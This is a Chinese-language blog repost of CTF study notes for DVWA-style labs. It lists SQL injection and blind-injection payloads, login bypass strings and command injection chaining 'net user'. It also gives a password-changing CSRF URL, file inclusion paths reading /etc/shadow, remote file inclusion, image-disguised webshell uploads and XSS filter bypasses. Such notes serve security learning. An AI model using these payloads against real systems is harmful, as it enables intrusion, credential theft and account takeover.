首页 > 其他 > 详细

ctf笔记 19.5.3-19.8.11

时间:2019-08-30 00:41:10      阅读:85      评论:0      收藏:0      [点我收藏+]

在学ctf中学到的各类知识,以web安全为主

ffifdyop md5加密再组成sql等于$sql="select password from users where password=‘‘or‘<xxx>‘" 用于绕过md5检测
图片隐写小技巧 图片类转txt gif用ps看图层
document.cookie="cookiename=cookievalue" 改cookie
见"._"一般为摩斯密码
Base64 A-Z,a-z,0-9,+/;
Base32 A-Z,2-7;
Base16(hex) 0-9,A-F
Base加密若位数不齐,会用‘=‘补齐,所以见‘=‘可尝试Base解密
见"%number"可用url解码
见"&#number;"为Unicode编码
只出现"[ ]( ) ! "为jsfuck编码
只出现" > < + - . , [ ] "为brainfuck编码
---
MYSQL 数字型注入小结:
报错回显:
‘ 1=1 1=2判定注入可能
order by N 查字段数
and 1=2 union select 1,2,3...N 看正常回显,正常回显用于显示数据
and 1=2 union select database(),version() 查库名和版本
and 1=2 union select 1,group_concat(table_name) from information_schema .tables where table_schema =database()# 2字段数查表名
and 1=2 union select 1,group_concat(column_name) from information_schema .columns where table_name=‘admin‘#2字段数查字段名
and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema like database() 4字段数查表名,like可替换成=
and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=‘admin‘ 4字段数查字段名
and 1=2 union select group_concat(username,‘-‘,password) from admin# 2字段数查字段值
and 1=2 union select table_name from information_schema.tables where table_schema=database() limit N,1 表名逐个查询
and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1 查information_schema数据库表名
注:此处例句均以2,3为正常回显、1,4为异常回显,"and 1=2"可换成id=-1即保持错误状态,from语句不可放于正常回显
---
用户名sql注入:‘or 1=1-- 即万能密码
---
非报错回显:
‘ and union select group_concat(table_name) from information_schema.tables where table_shcema=database() and ‘1‘=‘1 前有‘后有‘1‘=‘1,其他类似报错回显
---
哈希值0e开头(PHP哈希username后为0exxx):
240610708==0e462097431906509019562988736854

QNKCDZO==0e83040045199349405802421990339

aabg7XSs==0e087386482136013740957780965295

aabC9RqS==0e041022518165728065344349536299
反序列化构造:a表示array;i表示int;s表示string,汉字单位3,字母及数字单位1;b表示布尔;
a:2:{s:4:"user";b:1;s:4:"pass";b:1;} 可保证$data_unserialize[‘pass‘]==‘???‘ ?为未知
---
DVWA系列
MYSQL注入
构造语句类似:
1‘ or ‘1‘=‘1
1‘ union select XXX

爆破Brute Force
burp->send to intruder->attack
万能密码

命令行注入command injection
ping 127.0.0.1 & net user
&&/&后的命令是攻击命令
绕过过滤:ping 127.0.0.1 &;& net user
127.0.0.1|net user |作为管道符号,作用是前面语句作为后面语句的输入,并只输出后面

跨站请求伪造CSRF
例:http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#
其中,?password_new=hacked&password_conf=hacked&Change=Change#为CSRF攻击,即将密码改为hacked
该手段可与短链接、伪造网页+图片加载的形式(img src)联动,且网页可命名为被攻击者的ip,绕过Referer过滤

文件包含File Inclusion
例:
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=/etc/shadow 先用此条探查是否Linux,不是则会爆出服务器文件的绝对路径
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=F:\XAMPP\htdocs\dvwa\php.ini 绝对路径探查
..\..\..\..\..\..\..\..\..\xampp\htdocs\dvwa\php.ini 相对路径
http://192.168.5.12/phpinfo.txt 远程文件包含,有过滤可写成htthttp://p: 之类,可选用url编码进行增加隐蔽性,但有可能增大失败几率
file:///C:\Users\shadow\Desktop\hack.txt 本地文件包含,上传文件后利用file协议可达成攻击

文件上传File Upload
传马,菜刀连接
图马:上传,1.利用文件包含page=http:xxx,用菜刀连接上面的地址
2.burp抓包改filename,菜刀连接
3.当Magic_quote_gpc=off时,图马改名为xxx.php%00.png %00是/0的url编码
4.用copy命令将图片和马合并,菜刀连接page=file:\\\xxx

不安全的验证码Insecure CAPTCHA
burp抓包改参数或构造CSRF

SQL injection
与之前类似,当无input时,用burp抓包来输入
遇到关键字转义,可用hex编码绕过 注意,16进制用0xnumber表示

SQL Injection(Blind)盲注
注:此处以字符型注入为例,数字型注入不需要加‘
布尔型
1‘ and 1=1# 1‘ and 1=2# 检测布尔盲注
1‘ and length(database())=1# ... =n 检查数据库名长度,也可改=为比较符号,使用二分法
1‘ and ascii(substr(database(),1,1))>97 and ascii(substr(database(),n,1))<122# 二分法逐字猜接库名
1‘ and (select count(*) from information_schema.tables where table_schema=database())=n#猜解表的个数,*可写成table_name
1‘ and length(substr((select table_name from information_schema.tables where table_schema=database() limit n,1),1))=1# 爆表长度,n为第几个表
1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit n,1),m,1))>97# 同之前二分法爆表名,n(从0开始)代表第几个字符,m(从1开始)代表第几个表
1‘ and (select count(column_name) from information_schema.columns where table_name= ‘users‘)=1# …=n 爆字段数
1‘ and length(substr((select column_name from information_schema.columns where table_name= ‘users‘ limit 0,1),1))=1# 爆字段长度
1‘ and ascii(substr((select column_name from information_schema.columns where table_name= ‘users‘ limit 0,1),1,1))>97# 同之前
注:与sql注入类似,只是用length()=n判断长度,select count判断数,ascii(substr())判断名
时间型
1‘ and sleep(5)#有延迟
1 and sleep(5) #无延迟
综上则存在字符型基于时间盲注
1‘ and if(length(database())=1,sleep(5),1)# …1‘ and if(length(database())=n,sleep(5),1)# 爆长度
1‘ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 爆名
与布尔型类似,只是多了if(xxx,sleep(5),1)

XSS跨站脚本攻击
反射型XSS
http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>alert(/xss/)</script>#
其中<script>alert(/xss/)</script>为攻击语句
绕过:复写,比如屏蔽了<script>,可写成<scr<script>ipt>alert(/xss/)</script>#
或者是大小写混用,仍是屏蔽了<script>,可写<Script>alert(/xss/)</script>#
图片形式:<img src=1 onerror=alert(/xss/)> 其中alert(/xss/)为攻击语句
存储型XSS
找到输入位置如input,写攻击语句,基本同上
若出现字数限制,burp抓包修改
绕过同上
XSS触发 <input value="xxx &#34;onchange=xxx()&#34;"> &#34;为"的ascii码,可结合CSRF使用

ctf笔记 19.5.3-19.8.11

原文:https://www.cnblogs.com/5h4d0w/p/11432726.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!